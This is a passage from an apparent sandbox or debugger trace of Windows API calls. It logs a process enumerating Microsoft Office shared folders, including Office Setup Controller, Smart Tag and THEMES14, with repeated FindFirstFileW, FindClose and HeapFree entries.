ftLastAccessTime.dwLowDateTime=0x8cf4f350, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cf4f350, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.870] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.870] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.870] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8cf754b0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cf754b0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.871] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.871] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.871] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8cf4f350, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cf4f350, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.871] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.871] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.871] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8cfc1770, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cfc1770, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.872] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.872] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.872] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8cf9b610, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cf9b610, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.873] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.874] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.874] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8d45e210, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8d45e210, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.875] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.875] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.875] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8d32d710, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8d32d710, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0272.895] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0272.895] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.895] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8d353870, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8d353870, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e58 [0272.898] FindClose (in: hFindFile=0x806e58 | out: hFindFile=0x806e58) returned 1 [0272.898] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.898] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8d45e210, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8d45e210, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e58 [0272.901] FindClose (in: hFindFile=0x806e58 | out: hFindFile=0x806e58) returned 1 [0272.902] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.902] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.902] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35ac910 | out: hHeap=0x1c0000) returned 1 [0272.902] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0272.902] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.903] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0272.905] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0272.906] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.906] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0272.907] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0272.907] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.907] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8d96d0d0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8d96d0d0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0272.909] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8d484370, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8d484370, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0272.911] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0272.912] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35ac910 | out: hHeap=0x1c0000) returned 1 [0272.913] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8d4d0630, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8d4d0630, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0272.913] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8d4aa4d0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8d4aa4d0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.915] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.915] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.916] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0272.916] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35ac910 | out: hHeap=0x1c0000) returned 1 [0272.916] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0272.916] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.916] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0272.917] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0272.917] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35ac910 | out: hHeap=0x1c0000) returned 1 [0272.917] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e045010, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8e045010, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0272.919] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0272.920] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35ac910 | out: hHeap=0x1c0000) returned 1 [0272.920] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0272.920] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0272.921] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0272.921] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.921] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0272.921] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35ac910 | out: hHeap=0x1c0000) returned 1 [0272.921] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0272.924] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e1e7f30, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8e1e7f30, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0272.925] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0272.926] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.926] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e38ae50, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8e38ae50, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0272.928] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0272.928] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.928] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e3b0fb0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8e3b0fb0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0272.930] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0272.931] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.931] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e3d7110, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8e3d7110, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0272.933] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0272.934] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.934] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e553ed0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8e553ed0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0272.935] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0272.936] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.936] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e553ed0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8e553ed0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0272.938] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0272.939] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.939] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e57a030, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8e57a030, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.095] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.105] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.105] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e5c62f0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8e5c62f0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.105] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.106] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.106] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e5ec450, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8e5ec450, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.107] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.108] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8edf4e90, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8edf4e90, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.109] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.109] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.109] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8ee1aff0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8ee1aff0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.110] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.111] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.111] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8ee1aff0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8ee1aff0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.112] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.113] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | 